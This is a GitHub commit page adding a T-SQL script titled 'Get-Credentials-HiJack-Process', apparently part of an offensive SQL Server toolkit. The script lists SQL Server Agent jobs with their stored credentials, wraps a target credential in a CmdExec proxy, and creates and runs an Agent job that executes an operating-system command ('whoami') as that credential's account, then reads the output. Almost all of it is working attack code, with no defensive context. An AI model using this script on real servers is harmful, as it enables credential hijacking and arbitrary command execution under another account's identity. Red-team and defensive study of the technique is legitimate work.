-
Notifications
You must be signed in to change notification settings - Fork 463
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Create Get-Credentials-HiJack-Process.tsql
- Loading branch information
Showing
1 changed file
with
74 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,74 @@ | ||
-------------------------- | ||
-- Get List of Credentials | ||
-------------------------- | ||
USE msdb; | ||
GO | ||
|
||
SELECT | ||
j.name AS JobName, | ||
s.step_id AS StepID, | ||
s.step_name AS StepName, | ||
c.name AS CredentialName | ||
FROM sysjobs j | ||
JOIN sysjobsteps s ON j.job_id = s.job_id | ||
LEFT JOIN sys.credentials c ON s.proxy_id = c.credential_id | ||
WHERE c.name IS NOT NULL | ||
ORDER BY j.name, s.step_id; | ||
|
||
-------------------------- | ||
-- Create a Proxy Using the Target Credential | ||
-------------------------- | ||
USE msdb; | ||
GO | ||
|
||
EXEC sp_add_proxy | ||
@proxy_name = N'OSCommandProxy', -- Name of the proxy | ||
@credential_name = N'MyCredential'; -- Name of the existing credential | ||
|
||
EXEC sp_grant_proxy_to_subsystem | ||
@proxy_name = N'OSCommandProxy', | ||
@subsystem_id = 3; -- 3 represents the Operating System (CmdExec) subsystem | ||
|
||
-------------------------- | ||
-- Create the SQL Server Agent Job Configured to use the Proxy Account | ||
-------------------------- | ||
|
||
USE msdb; | ||
GO | ||
|
||
-- Create the job | ||
EXEC sp_add_job | ||
@job_name = N'WhoAmIJob'; -- Name of the job | ||
|
||
-- Add a job step that uses the proxy to execute the whoami command | ||
EXEC sp_add_jobstep | ||
@job_name = N'WhoAmIJob', | ||
@step_name = N'ExecuteWhoAmI', | ||
@subsystem = N'CmdExec', -- Specifies an Operating System command | ||
@command = N'whoami', -- The OS command to execute | ||
@on_success_action = 1, -- 1 = Quit with success | ||
@on_fail_action = 2, -- 2 = Quit with failure | ||
@proxy_name = N'OSCommandProxy'; -- The proxy created earlier | ||
|
||
-- Add a schedule to the job (optional, can be manual or scheduled) | ||
EXEC sp_add_jobschedule | ||
@job_name = N'WhoAmIJob', | ||
@name = N'RunOnce', | ||
@freq_type = 1, -- 1 = Once | ||
@active_start_date = 20240820, -- Start date (YYYYMMDD) | ||
@active_start_time = 120000; -- Start time (HHMMSS) | ||
|
||
-- Add the job to the SQL Server Agent | ||
EXEC sp_add_jobserver | ||
@job_name = N'WhoAmIJob', | ||
@server_name = N'(LOCAL)'; -- The server where the job will run | ||
|
||
-------------------------- | ||
-- Execute the Job | ||
-------------------------- | ||
EXEC sp_start_job @job_name = N'WhoAmIJob'; | ||
|
||
-------------------------- | ||
-- Check the Output/Error | ||
-------------------------- | ||
EXEC sp_help_jobhistory @job_name= N'WhoAmIJob'; |